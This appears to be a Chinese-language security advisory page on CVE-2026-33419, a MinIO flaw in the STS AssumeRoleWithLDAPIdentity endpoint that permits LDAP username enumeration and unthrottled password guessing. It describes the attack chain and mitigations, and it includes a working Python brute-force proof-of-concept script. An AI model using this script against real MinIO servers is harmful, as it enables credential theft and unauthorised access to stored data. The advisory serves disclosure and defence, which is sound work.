IPBUF安全漏洞报告
English
CVE-2026-33419 CVSS 7.5 高危

CVE-2026-33419 MinIO LDAP凭证暴力破解漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33419
漏洞类型
凭证暴力破解
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MinIO

相关标签

MinIO凭证暴力破解用户名枚举STS信息泄露

漏洞概述

MinIO AIStor在RELEASE.2026-03-17T21-25-16Z之前的版本中存在安全漏洞。其STS(安全令牌服务)的AssumeRoleWithLDAPIdentity端点由于缺少速率限制机制,且错误响应存在差异,允许攻击者枚举LDAP用户名并无限制地猜测密码。未经身份认证的攻击者可利用此漏洞获取临时AWS风格的STS凭证,进而访问受害者的S3存储桶和数据。

技术细节

该漏洞的根本原因在于MinIO处理LDAP身份验证时的两个设计缺陷。首先,端点针对无效用户名和错误密码返回了不同的错误响应,这使得攻击者能够通过侧信道信息枚举出系统中存在的有效LDAP用户名。其次,AssumeRoleWithLDAPIdentity接口未实施任何频率限制或账户锁定策略,导致攻击者可以对已确认的用户名进行高频率的暴力破解攻击。一旦攻击者猜中正确密码,MinIO将颁发具有S3访问权限的临时STS凭证,导致数据泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标MinIO服务器及其STS服务端点。
STEP 2
2. 用户名枚举
攻击者向AssumeRoleWithLDAPIdentity端点发送请求,利用错误响应的差异(如“用户不存在”与“密码错误”的区别)来确定有效的LDAP用户名。
STEP 3
3. 密码暴力破解
针对确认存在的用户名,攻击者利用无速率限制的缺陷,使用字典攻击或暴力破解手段尝试大量密码组合。
STEP 4
4. 获取凭证
一旦密码验证通过,MinIO返回包含临时访问密钥和会话令牌的STS凭证。
STEP 5
5. 数据访问
攻击者使用获取到的STS凭证,通过AWS S3 SDK或MinIO客户端访问受害者的存储桶和对象,导致数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "https://<minio-server>/minio/sts/AssumeRoleWithLDAPIdentity" ldap_user_base = "admin" password_file = "passwords.txt" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded" } def brute_force(username, password): payload = { "Action": "AssumeRoleWithLDAPIdentity", "Version": "2011-06-15", "LDAPUsername": username, "LDAPPassword": password } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Check for successful credential usage (usually HTTP 200 and specific XML structure) if response.status_code == 200 and "AssumeRoleWithLDAPIdentityResult" in response.text: print(f"[+] Success! Username: {username}, Password: {password}") print(response.text) return True # Check for username enumeration patterns (e.g., specific error messages in response) # Note: Specific error parsing depends on MinIO version and response format elif "User does not exist" in response.text: print(f"[-] User not found: {username}") return False else: print(f"[*] Failed attempt: {username}:{password}") return False except Exception as e: print(f"[!] Error: {e}") return False # Example usage loop # with open(password_file, 'r') as f: # for pwd in f: # brute_force(ldap_user_base, pwd.strip())

影响范围

MinIO < RELEASE.2026-03-17T21-25-16Z

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面对STS相关API接口实施IP白名单限制,并部署反向代理或WAF规则以阻断高频的认证请求。同时,应密切监控MinIO的访问日志,检测异常的认证失败行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表